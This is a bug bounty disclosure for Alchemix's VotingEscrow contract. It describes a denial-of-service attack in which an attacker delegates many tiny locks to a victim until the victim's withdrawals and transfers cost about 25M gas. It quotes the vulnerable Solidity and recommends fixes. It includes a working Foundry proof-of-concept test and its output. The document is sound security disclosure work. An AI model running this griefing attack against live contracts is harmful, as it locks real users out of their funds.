31413 - [SC - Medium] DOS attack by delegating tokens at MAX_DELEGATES

Submitted on May 18th 2024 at 20:04:09 UTC by @savi0ur for Boost | Alchemix

Report ID: #31413

Report type: Smart Contract

Report severity: Medium

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol

Impacts:

• Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

• Block stuffing

Description

Bug Description

Any user can delegate the balance of the locked veALCX NFT token amount to anyone by calling delegate(). https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1103-L1130

function _moveAllDelegates(address owner, address src, address dst) internal {
    // You can only redelegate what you own
    if (src != dst) {
        if (src != address(0)) {
            // ...SNIP...
        }

        if (dst != address(0)) {
            uint32 dstCheckpoints = numCheckpoints[dst];
            uint256[] memory dstTokensOld = dstCheckpoints > 0
                ? checkpoints[dst][dstCheckpoints - 1].tokenIds
                : checkpoints[dst][0].tokenIds;

            uint256 ownerTokenCount = ownerToTokenCount[owner];
            require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES, "dst would have too many tokenIds"); //@audit DoS

            // Create a new array of tokenIds, with the owner's tokens added
            uint256[] memory dstTokensNew = new uint256[](dstTokensOld.length + ownerTokenCount);

            // Copy array
            for (uint256 i = 0; i < dstTokensOld.length; i++) {
                dstTokensNew[i] = dstTokensOld[i];
            }

            // Plus all that's owned
            for (uint256 i = 0; i < ownerTokenCount; i++) {
                uint256 tId = ownerToTokenIdList[owner][i];
                dstTokensNew[dstTokensOld.length + i] = tId;
            }

            // Find the index of the checkpoint to create or update
            uint32 dstIndex = _findWhatCheckpointToWrite(dst);

            // dst has a new or updated checkpoint with the _tokenId added
            checkpoints[dst][dstIndex] = Checkpoint({ timestamp: block.timestamp, tokenIds: dstTokensNew }); // <==

            // Add to numCheckpoints if the last checkpoint is different from the current block timestamp
            if (dstCheckpoints == 0 || checkpoints[dst][dstCheckpoints - 1].timestamp != block.timestamp) {
                numCheckpoints[dst] = dstCheckpoints + 1;
            }
        }
    }
}

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1033-L1052

function _moveTokenDelegates(address src, address dst, uint256 _tokenId) internal {
    if (src != dst && _tokenId > 0) {
        // If the source is not the zero address, we decrement the number of tokenIds
        if (src != address(0)) {
            // ...SNIP...
        }

        // If the destination is not the zero address, we increment the number of tokenIds
        if (dst != address(0)) {
            uint32 dstCheckpoints = numCheckpoints[dst];
            uint256[] memory dstTokensOld = dstCheckpoints > 0
                ? checkpoints[dst][dstCheckpoints - 1].tokenIds
                : checkpoints[dst][0].tokenIds;
            uint256[] memory dstTokensNew = new uint256[](dstTokensOld.length + 1);

            require(dstTokensOld.length + 1 <= MAX_DELEGATES, "dst would have too many tokenIds"); //@audit DoS

            // Copy array plus _tokenId
            for (uint256 i = 0; i < dstTokensOld.length; i++) {
                dstTokensNew[i] = dstTokensOld[i];
            }
            dstTokensNew[dstTokensNew.length - 1] = _tokenId;

            // Find the index of the checkpoint to create or update
            uint32 dstIndex = _findWhatCheckpointToWrite(dst);

            // dst has a new or updated checkpoint with the _tokenId added
            checkpoints[dst][dstIndex] = Checkpoint({ timestamp: block.timestamp, tokenIds: dstTokensNew }); // <==

            // Add to numCheckpoints if the last checkpoint is different from the current block timestamp
            if (dstCheckpoints == 0 || checkpoints[dst][dstCheckpoints - 1].timestamp != block.timestamp) {
                numCheckpoints[dst] = dstCheckpoints + 1;
            }
        }
    }
}

As the delegated tokens are maintained in an array that's vulnerable to DOS attack, the VotingEscrow contract has a safety check of MAX_DELEGATES = 1024 preventing an address from having a huge array. https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L33-L34

/// @notice Maximum number of delegates a token can have
uint256 public constant MAX_DELEGATES = 1024; // avoid too much gas

Given the current implementation, any user with 1024 delegated tokens takes more than 25M gas to transfer/delegate/burn/mint a token as shown in PoC. It will consume a lot of gas as its using function like _moveTokenDelegates() and _moveAllDelegates(), which are vulnerable to DoS attack when MAX_DELEGATES limit is reached for delegated tokens. However, the current gas limit of the ETH chain is 30M. (ref: Etherscan).

This functions(_moveTokenDelegates() and _moveAllDelegates()) from VotingEscrow are called in following functions, which makes them vulnerable to DoS.

• delegate()

• safeTransferFrom()

• transferFrom()

• merge()

• withdraw()

As we can see in a PoC for a single withdrawal tx, its very expensive for a user as it cost more than 25M gas for a victim.

Current cost of the tx for around 25M gas is around $1000, calculated as follow:

TxCostInUSD = 25e6(gasConsumed) * 14e9(CurrentCostInGWEI) / 1e18 * 3116.44(ETHPriceInUSD)
			= 1090.754 USD 

This cost will be even higher when block space in high demand as base fee will increase and also users are willing to offer extra to get a place for their tx in block space.

Tool to find real time gas cost for 25M gas cost: https://www.cryptoneur.xyz/en/gas-fees-calculator?usedGas=25000000&txnType=Custom&gasPrice=instant

Also it will be difficult for a user to get a space in a block space when their tx is consuming almost a gas limit of a block (30M). User's tx will get rejected by builder as its not providing any incentive (apart from tx cost) for a builder to include their tx in a block during high demand of a block space.

If someone trying to attack a victim's address by creating a new address, a new lock, and delegating to the victim. By the time the attacker hit the gas limit, the victim can not withdraw/transfer/delegate transaction in a high demand of a block space.

Impact

Due to the mentioned attack, multiple users wont be able to withdraw their tokens in the same block space as there is a gas limit of 30M on ethereum for a transaction. Users tx could land when there is less traffic on ethereum, but attacker could do block stuffing for just a 5-6 million gas for the same block to grief user's withdraw transaction.

Recommendation

Adjust the MAX_DELEGATES from 1024 to 128 Or Give an option for users to opt-out/opt-in for a certain delegated tokens. Users will only accept the delegated tokens if they opt-in, or users can opt-out to refuse any uncommissioned delegated tokens.

References

• https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1033-L1052

• https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1103-L1130

Proof Of Concept

Steps to Run using Foundry:

• Paste following foundry code in src/test/VotingEscrow.t.sol

• Run using FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testDelegateLimitAttack -vv

function testDelegateLimitAttack() public {
    // Give some tokens to this contract
    hevm.startPrank(address(admin));
    IERC20(bpt).transfer(address(this), TOKEN_1M);
    hevm.stopPrank();

    // Give full approval to voting escrow
    IERC20(bpt).approve(address(veALCX), type(uint256).max);

    uint EPOCH = veALCX.EPOCH();

    uint tokenId = veALCX.createLock(TOKEN_1, EPOCH, false);

    for(uint256 i = 0; i < veALCX.MAX_DELEGATES() - 1; i++) {
        hevm.roll(block.number + 1);
        hevm.warp(block.timestamp + 12);
        
        address fakeAccount = address(uint160(block.timestamp + i));
        IERC20(bpt).transfer(fakeAccount, 1);

        hevm.startPrank(fakeAccount);
        IERC20(bpt).approve(address(veALCX), type(uint256).max);
        veALCX.createLock(1, MAXTIME, true);
        veALCX.delegate(address(this));
        hevm.stopPrank();
    }
    
    hevm.roll(block.number + 1);
    hevm.warp(block.timestamp + EPOCH);
    veALCX.startCooldown(tokenId);

    hevm.roll(block.number + 1);
    hevm.warp(block.timestamp + EPOCH);

    uint initialGas = gasleft();
    veALCX.withdraw(tokenId);
    uint gasUsed = initialGas - gasleft();
    
    console.log("Gas Used in total: ", gasUsed);
    assertGt(gasUsed, 25_000_000);
}

Console Output:

> FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testDelegateLimitAttack -vv

[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testDelegateLimitAttack() (gas: 12532053553)
Logs:
  Gas Used in total:  25795537